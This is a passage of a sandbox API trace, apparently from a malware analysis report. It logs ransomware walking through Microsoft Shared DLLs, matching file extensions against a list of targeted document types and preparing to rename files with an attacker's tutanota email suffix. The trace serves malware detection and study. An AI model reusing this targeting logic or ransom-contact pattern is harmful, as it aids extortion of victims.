hTemplateFile=0x0) returned 0x324 [0213.230] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=40448) returned 1 [0213.231] CloseHandle (hObject=0x324) returned 1 [0213.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0213.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.938] lstrlenW (lpString=".doc") returned 4 [0213.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.938] lstrlenW (lpString=".docx") returned 5 [0213.938] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.938] lstrlenW (lpString=".pdf") returned 4 [0213.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.939] lstrlenW (lpString=".xls") returned 4 [0213.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.939] lstrlenW (lpString=".xlsx") returned 5 [0213.939] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.939] lstrlenW (lpString=".ppt") returned 4 [0213.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.939] lstrlenW (lpString=".zip") returned 4 [0213.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.940] lstrlenW (lpString=".rar") returned 4 [0213.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.940] lstrlenW (lpString=".bz2") returned 4 [0213.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.940] lstrlenW (lpString=".7z") returned 3 [0213.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.940] lstrlenW (lpString=".dbf") returned 4 [0213.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.940] lstrlenW (lpString=".1cd") returned 4 [0213.941] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.941] lstrlenW (lpString=".jpg") returned 4 [0213.941] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.941] lstrlenW (lpString=".doc") returned 4 [0213.941] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.942] lstrlenW (lpString=".docx") returned 5 [0213.944] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0213.944] lstrlenW (lpString=".pdf") returned 4 [0213.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.949] lstrlenW (lpString=".xls") returned 4 [0213.949] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.949] lstrlenW (lpString=".xlsx") returned 5 [0213.949] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0213.950] lstrlenW (lpString=".ppt") returned 4 [0213.950] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.950] lstrlenW (lpString=".zip") returned 4 [0213.950] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.950] lstrlenW (lpString=".rar") returned 4 [0213.950] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.950] lstrlenW (lpString=".bz2") returned 4 [0213.950] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.950] lstrlenW (lpString=".7z") returned 3 [0213.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.951] lstrlenW (lpString=".dbf") returned 4 [0213.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.951] lstrlenW (lpString=".1cd") returned 4 [0213.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned 63 [0213.951] lstrlenW (lpString=".jpg") returned 4 [0213.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.953] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0213.954] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0213.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0214.534] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=3584) returned 1 [0214.534] CloseHandle (hObject=0x38c) returned 1 [0214.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0214.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.538] lstrlenW (lpString=".doc") returned 4 [0214.538] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0214.538] lstrlenW (lpString=".docx") returned 5 [0214.538] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0214.538] lstrlenW (lpString=".pdf") returned 4 [0214.538] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0214.538] lstrlenW (lpString=".xls") returned 4 [0214.538] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0214.539] lstrlenW (lpString=".xlsx") returned 5 [0214.539] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0214.539] lstrlenW (lpString=".ppt") returned 4 [0214.539] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0214.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.540] lstrlenW (lpString=".zip") returned 4 [0214.540] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0214.540] lstrlenW (lpString=".rar") returned 4 [0214.540] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0214.540] lstrlenW (lpString=".bz2") returned 4 [0214.540] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0214.540] lstrlenW (lpString=".7z") returned 3 [0214.540] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0214.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.540] lstrlenW (lpString=".dbf") returned 4 [0214.540] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0214.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.541] lstrlenW (lpString=".1cd") returned 4 [0214.541] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0214.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.541] lstrlenW (lpString=".jpg") returned 4 [0214.541] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0214.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.542] lstrlenW (lpString=".doc") returned 4 [0214.542] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0214.542] lstrlenW (lpString=".docx") returned 5 [0214.543] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0214.543] lstrlenW (lpString=".pdf") returned 4 [0214.543] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0214.543] lstrlenW (lpString=".xls") returned 4 [0214.543] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0214.543] lstrlenW (lpString=".xlsx") returned 5 [0214.543] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0214.543] lstrlenW (lpString=".ppt") returned 4 [0214.543] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0214.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.543] lstrlenW (lpString=".zip") returned 4 [0214.543] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0214.543] lstrlenW (lpString=".rar") returned 4 [0214.544] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0214.544] lstrlenW (lpString=".bz2") returned 4 [0214.544] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0214.544] lstrlenW (lpString=".7z") returned 3 [0214.544] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0214.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.544] lstrlenW (lpString=".dbf") returned 4 [0214.544] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0214.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.544] lstrlenW (lpString=".1cd") returned 4 [0214.544] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0214.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0214.545] lstrlenW (lpString=".jpg") returned 4 [0214.545] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0214.548] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".NEWS") returned -1 [0214.548] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0214.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0215.788] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=55680) returned 1 [0215.788] CloseHandle (hObject=0x338) returned 1 [0215.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0215.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.789] lstrlenW (lpString=".doc") returned 4 [0215.789] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0215.789] lstrlenW (lpString=".docx") returned 5 [0215.789] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0215.790] lstrlenW (lpString=".pdf") returned 4 [0215.790] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0215.790] lstrlenW (lpString=".xls") returned 4 [0215.790] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0215.790] lstrlenW (lpString=".xlsx") returned 5 [0215.790] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0215.791] lstrlenW (lpString=".ppt") returned 4 [0215.791] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0215.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.791] lstrlenW (lpString=".zip") returned 4 [0215.791] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0215.791] lstrlenW (lpString=".rar") returned 4 [0215.791] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0215.791] lstrlenW (lpString=".bz2") returned 4 [0215.791] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0215.791] lstrlenW (lpString=".7z") returned 3 [0215.791] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.792] lstrlenW (lpString=".dbf") returned 4 [0215.792] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0215.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.792] lstrlenW (lpString=".1cd") returned 4 [0215.792] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0215.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.793] lstrlenW (lpString=".jpg") returned 4 [0215.793] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0215.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.793] lstrlenW (lpString=".doc") returned 4 [0215.793] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0215.793] lstrlenW (lpString=".docx") returned 5 [0215.793] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0215.794] lstrlenW (lpString=".pdf") returned 4 [0215.794] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0215.794] lstrlenW (lpString=".xls") returned 4 [0215.794] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0215.794] lstrlenW (lpString=".xlsx") returned 5 [0215.794] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0215.794] lstrlenW (lpString=".ppt") returned 4 [0215.794] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0215.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.794] lstrlenW (lpString=".zip") returned 4 [0215.796] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0215.796] lstrlenW (lpString=".rar") returned 4 [0215.796] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0215.796] lstrlenW (lpString=".bz2") returned 4 [0215.796] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0215.796] lstrlenW (lpString=".7z") returned 3 [0215.797] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.797] lstrlenW (lpString=".dbf") returned 4 [0215.797] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0215.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.797] lstrlenW (lpString=".1cd") returned 4 [0215.797] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0215.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0215.797] lstrlenW (lpString=".jpg") returned 4 [0215.797] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0215.798] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0215.798] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0215.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0215.801] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=41864) returned 1 [0215.801] CloseHandle (hObject=0x338) returned 1 [0215.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0215.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.803] lstrlenW (lpString=".doc") returned 4 [0215.804] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.804] lstrlenW (lpString=".docx") returned 5 [0215.804] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0215.804] lstrlenW (lpString=".pdf") returned 4 [0215.804] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.806] lstrlenW (lpString=".xls") returned 4 [0215.806] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.806] lstrlenW (lpString=".xlsx") returned 5 [0215.806] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0215.807] lstrlenW (lpString=".ppt") returned 4 [0215.807] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.807] lstrlenW (lpString=".zip") returned 4 [0215.807] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.807] lstrlenW (lpString=".rar") returned 4 [0215.807] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.807] lstrlenW (lpString=".bz2") returned 4 [0215.807] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.807] lstrlenW (lpString=".7z") returned 3 [0215.807] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.808] lstrlenW (lpString=".dbf") returned 4 [0215.808] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.808] lstrlenW (lpString=".1cd") returned 4 [0215.808] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.808] lstrlenW (lpString=".jpg") returned 4 [0215.808] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.809] lstrlenW (lpString=".doc") returned 4 [0215.809] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.809] lstrlenW (lpString=".docx") returned 5 [0215.809] lstrcmpiW (lpString1=".docx", lpString2="3.DLL") returned -1 [0215.809] lstrlenW (lpString=".pdf") returned 4 [0215.809] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.809] lstrlenW (lpString=".xls") returned 4 [0215.809] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.809] lstrlenW (lpString=".xlsx") returned 5 [0215.809] lstrcmpiW (lpString1=".xlsx", lpString2="3.DLL") returned -1 [0215.809] lstrlenW (lpString=".ppt") returned 4 [0215.810] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.810] lstrlenW (lpString=".zip") returned 4 [0215.810] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.811] lstrlenW (lpString=".rar") returned 4 [0215.811] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.811] lstrlenW (lpString=".bz2") returned 4 [0215.811] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.811] lstrlenW (lpString=".7z") returned 3 [0215.811] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.811] lstrlenW (lpString=".dbf") returned 4 [0215.811] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.812] lstrlenW (lpString=".1cd") returned 4 [0215.812] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL") returned 73 [0215.812] lstrlenW (lpString=".jpg") returned 4 [0215.813] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.814] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0215.814] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0215.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0215.816] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=11656) returned 1 [0215.816] CloseHandle (hObject=0x338) returned 1 [0215.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0215.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0215.818] lstrlenW (lpString=".doc") returned 4 [0215.818] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.818] lstrlenW (lpString=".docx") returned 5 [0215.818] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.818] lstrlenW (lpString=".pdf") returned 4 [0215.818] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.818] lstrlenW (lpString=".xls") returned 4 [0215.818] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.818] lstrlenW (lpString=".xlsx") returned 5 [0215.818] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.819] lstrlenW (lpString=".ppt") returned 4 [0215.819] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.819] lstrlenW 